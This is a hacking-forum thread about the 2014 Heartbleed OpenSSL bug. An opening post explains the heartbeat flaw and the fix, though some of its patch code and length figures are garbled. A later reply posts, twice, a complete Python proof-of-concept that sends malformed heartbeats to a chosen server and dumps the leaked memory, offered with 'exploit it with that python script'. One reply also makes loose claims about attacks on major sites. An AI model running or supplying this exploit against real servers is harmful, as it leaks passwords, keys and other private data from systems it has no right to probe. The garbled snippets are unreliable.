Sinisterly
The HeartBleed Bug - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Website & Server Hacking (https://sinister.ly/Forum-Website-Server-Hacking)
+--- Thread: The HeartBleed Bug (/Thread-The-HeartBleed-Bug)

Pages: 1 2 3


The HeartBleed Bug - alok9shm - 04-12-2014

The HeartBleed Bug
Recently, this new bug (but almost 2 years old :trollSmile in the OpenSSL library used in most servers surfaced and this is no ordinary bug. Yes!! It affects a major share of websites and poses a threat to numerous internet users' online safety. Even Yahoo was vulnerable to it (Fixed now).

"The Heartbleed bug allows anyone on the Internet to read the memory of the systems protected by the vulnerable versions of the OpenSSL software."

OpenSSL versions 1.0.1 through 1.0.1f (inclusive) are vulnerable and can user ids and password are easily leaked due to this bug.

Now, what exactly is this bug?

I was searching for the bug, its cause, and the fix for, but ended up in boring news headlines that just said what we already know. ie. OpenSSL got a bug and leaks sensitive credentials, but not a single of them explained the real thing behind it. Finally, Fb1h2s (Rahul Sasi) explained everything on his blog and now I share the same with HackCommunity members.

Heartbleed.com says "Bug is in the OpenSSL's implementation of the TLS/DTLS (transport layer security protocols) heartbeat extension (RFC6520). When it is exploited it leads to the leak of memory contents from the server to the client and from the client to the server."


So, whats wrong in the implementation of this extension?

In an established SSL connection, it is required that the connection be maintained for a longer time. And this is the reason the Heartbeat extension is used. (As long as the heart beats, there is life :NerdSmile Its same as the HTTP keep-alive feature which holds the connection for a long time. But Heartbeat protocol allows a client to perform this action in much higher rate. So, client sends a HeartBeat request and the server has to respond back with a HeartBeat response (Its a simple request and response module in short).



The client can send a Heart-Beat request message and the server has to respond back with a HeartBeat response. Simple.
Code:
heartbeat_request(1), heartbeat_response(2),

This is the actual protocol used:
Code:
struct { HeartbeatMessageType type; uint16 payload_length; opaque payload[HeartbeatMessage.payload_length]; opaque padding[padding_length]; } HeartbeatMessage;

And the TLS packet with HeartBeat addon or extension whatever you say (I can't differentiate between the two even when using Mozilla Firefox. :YuckSmile

Code:
const unsigned char good_data_2[] = { // TLS record 0x16, // Content Type: Handshake 0x03, 0x01, // Version: TLS 1.0 0x00, 0x6c, // Length (use for bounds checking) // Handshake 0x01, // Handshake Type: Client Hello Hi Namaste 0x00, 0x00, 0x68, // Length (use for bounds checking) 0x03, 0x03, // Version: TLS 1.2 // Random (32 bytes fixed length) 0xb6, 0xb2, 0x6a, 0xfb, 0x55, 0x5e, 0x03, 0xd5, 0x65, 0xa3, 0x6a, 0xf0, 0x5e, 0xa5, 0x43, 0x02, 0x93, 0xb9, 0x59, 0xa7, 0x54, 0xc3, 0xdd, 0x78, 0x57, 0x58, 0x34, 0xc5, 0x82, 0xfd, 0x53, 0xd1, 0x00, // Session ID Length (skip past this much) 0x00, 0x04, // Cipher Suites Length (skip past this much) 0x00, 0x01, // NULL-MD5 0x00, 0xff, // RENEGOTIATION INFO SCSV 0x01, // Compression Methods Length (skip past this much) 0x00, // NULL 0x00, 0x3b, // Extensions Length (use for bounds checking) // Extension 0x00, 0x00, // Extension Type: Server Name (check extension type) 0x00, 0x0e, // Length (use for bounds checking) 0x00, 0x0c, // Server Name Indication Length 0x00, // Server Name Type: host_name (check server name type) 0x00, 0x09, // Length (length of your data) // "localhost" (data your after) 0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x68, 0x6f, 0x73, 0x74, // Extension 0x00, 0x0d, // Extension Type: Signature Algorithms (check extension type) 0x00, 0x20, // Length (skip past since this is the wrong extension) // Data 0x00, 0x1e, 0x06, 0x01, 0x06, 0x02, 0x06, 0x03, 0x05, 0x01, 0x05, 0x02, 0x05, 0x03, 0x04, 0x01, 0x04, 0x02, 0x04, 0x03, 0x03, 0x01, 0x03, 0x02, 0x03, 0x03, 0x02, 0x01, 0x02, 0x02, 0x02, 0x03, // Extension 0x00, 0x0f, // Extension Type: Heart Beat (check extension type) 0x00, 0x01, // Length (skip past since this is the wrong extension) 0x01 // Mode: Peer allows to send requests };

And the shitty bug is this one:
Code:
buffer = OPENSSL_malloc(1 + 2 + payload + padding);

A bad malloc. Insecure one, as memory is allocated from the payload + padding which is a user controlled value without any length checking algo for this allocation. This enabled a hacker to force the Openssl server to read arbitrary memory locations.
And the result?
This comic strip explains this best :Laughing::
[Image: heartbleed_explanation.png]

"The total length of a HeartbeatMessage does NOT exceed 2^14 or max_fragment_length when negotiated as defined in [RFC6066]. Here we are only able to leak 64 kb of memory and that could easily have usernames/password etc." - says Fb1h2s. Its right. Constant HB request could be made to the server leaking (random memory) any amount of data from the server .

Now, the Fix to this bug.
If we implement a bounds check the payload + padding that is <= 16 bytes, the bug hangs itself to death. Isn't it? :Nerd:
Like this:
Code:
unsigned int write_length = 1 /* heartbeat type */ + + 2 /* heartbeat length */ + + payload + padding;

And yes, the HeartBleed length should be made not to exceed the Max Length.
Code:
unsigned int write_length = 1 /* heartbeat type */ + + 2 /* heartbeat length */ + + payload + padding; + if (write_length > SSL3_RT_MAX_PLAIN_LENGTH) + return 0;

Oops, I forgot to mention something.
Some Linux based OS, that use this vulnerable OpenSSL version (like Ubuntu 12.04.4 and some versions of CentOS) are vulnerable to this bug. And yes, a major part of the world's Android users are also vulnerable [Version 4.1.1 is Vulnerable and isn't patched till this post was last updated]. :troll:


Regards.


RE: The HeartBleed Bug - RaccoonCity_mybb_import13707 - 04-13-2014

Cool, never heard of this! Thanks for sharing! Big thanks!


RE: The HeartBleed Bug - Spirit - 04-13-2014

If anyone's interested, here's a video my friend made of him exploiting the Heartbleed bug.




RE: The HeartBleed Bug - bluedog.tar.gz - 04-13-2014

Nice informative thread!
Bookmarked Smile

Thanks


RE: The HeartBleed Bug - Boomslang - 04-14-2014

Well explained :Thumbs-Up:
Here is a video that explains heartbleed for a non-technical folks
;



RE: The HeartBleed Bug - Heartbleed - 04-14-2014

Surprised at the amount of people who had never heard of this!


RE: The HeartBleed Bug - pr0st - 04-21-2014

You can check your server here (for the heartbleed bug):
https://filippo.io/Heartbleed/

And exploit it with that python script:

Code:
#!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # Modified by Derek Callaway (decal@ethernet.org) to add STARTTLS protocols # The authors disclaim copyright to this source code. import sys import struct import socket import time import select import re from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') options.add_option('-s', '--starttls', type='string', default='', help='STARTTLS protocol: smtp, pop3, imap, ftp, or xmpp') def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hb = h2bin(''' 18 03 02 00 03 01 40 00 ''') def hexdump(s): for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print ' %04x: %-48s %s' % (b, hxdat, pdat) print def recvall(s, length, timeout=4): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay def hit_hb(s): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print 'No heartbeat response received, server likely not vulnerable' return False if typ == 24: print 'Received heartbeat response:' hexdump(pay) if len(pay) > 3: print 'WARNING: server returned more data than it should - server is vulnerable!' else: print 'Server processed malformed heartbeat, but did not return any extra data.' return True if typ == 21: print 'Received alert:' hexdump(pay) print 'Server returned error, likely not vulnerable' return False BUFSIZ = 1024 def main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print 'Connecting...' s.connect((args[0], opts.port)) if opts.starttls != '': print 'Sending STARTTLS Protocol Command...' if opts.starttls == 'smtp': s.recv(BUFSIZ) s.send("EHLO openssl.client.net\n") s.recv(BUFSIZ) s.send("STARTTLS\n") s.recv(BUFSIZ) if opts.starttls == 'pop3': s.recv(BUFSIZ) s.send("STLS\n") s.recv(BUFSIZ) if opts.starttls == 'imap': s.recv(BUFSIZ) s.send("STARTTLS\n") s.recv(BUFSIZ) if opts.starttls == 'ftp': s.recv(BUFSIZ) s.send("AUTH TLS\n") s.recv(BUFSIZ) if opts.starttls == 'xmpp': # TODO: This needs SASL s.send("<stream:stream xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:client' to='%s' version='1.0'\n") s.recv(BUFSIZ) print 'Sending Client Hello...' s.send(hello) print 'Waiting for Server Hello...' while True: typ, ver, pay = recvmsg(s) if typ == None: print 'Server closed connection without sending Server Hello.' return # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: break print 'Sending heartbeat request...' sys.stdout.flush() s.send(hb) hit_hb(s) if __name__ == '__main__': main()



RE: The HeartBleed Bug - pr0st - 04-21-2014

You can check your server here (for the heartbleed bug):
https://filippo.io/Heartbleed/

And exploit it with that python script:

Code:
#!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # Modified by Derek Callaway (decal@ethernet.org) to add STARTTLS protocols # The authors disclaim copyright to this source code. import sys import struct import socket import time import select import re from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') options.add_option('-s', '--starttls', type='string', default='', help='STARTTLS protocol: smtp, pop3, imap, ftp, or xmpp') def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hb = h2bin(''' 18 03 02 00 03 01 40 00 ''') def hexdump(s): for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print ' %04x: %-48s %s' % (b, hxdat, pdat) print def recvall(s, length, timeout=4): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay def hit_hb(s): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print 'No heartbeat response received, server likely not vulnerable' return False if typ == 24: print 'Received heartbeat response:' hexdump(pay) if len(pay) > 3: print 'WARNING: server returned more data than it should - server is vulnerable!' else: print 'Server processed malformed heartbeat, but did not return any extra data.' return True if typ == 21: print 'Received alert:' hexdump(pay) print 'Server returned error, likely not vulnerable' return False BUFSIZ = 1024 def main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print 'Connecting...' s.connect((args[0], opts.port)) if opts.starttls != '': print 'Sending STARTTLS Protocol Command...' if opts.starttls == 'smtp': s.recv(BUFSIZ) s.send("EHLO openssl.client.net\n") s.recv(BUFSIZ) s.send("STARTTLS\n") s.recv(BUFSIZ) if opts.starttls == 'pop3': s.recv(BUFSIZ) s.send("STLS\n") s.recv(BUFSIZ) if opts.starttls == 'imap': s.recv(BUFSIZ) s.send("STARTTLS\n") s.recv(BUFSIZ) if opts.starttls == 'ftp': s.recv(BUFSIZ) s.send("AUTH TLS\n") s.recv(BUFSIZ) if opts.starttls == 'xmpp': # TODO: This needs SASL s.send("<stream:stream xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:client' to='%s' version='1.0'\n") s.recv(BUFSIZ) print 'Sending Client Hello...' s.send(hello) print 'Waiting for Server Hello...' while True: typ, ver, pay = recvmsg(s) if typ == None: print 'Server closed connection without sending Server Hello.' return # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: break print 'Sending heartbeat request...' sys.stdout.flush() s.send(hb) hit_hb(s) if __name__ == '__main__': main()



RE: The HeartBleed Bug - birdman - 04-25-2014

I heard heart bleed bug was really serious. It attacked major websites like google and facebook. I think hackers are becoming more sophisticated because it had been undetected in openSSL fpr like two years now.


RE: The HeartBleed Bug - birdman - 04-25-2014

I heard heart bleed bug was really serious. It attacked major websites like google and facebook. I think hackers are becoming more sophisticated because it had been undetected in openSSL fpr like two years now.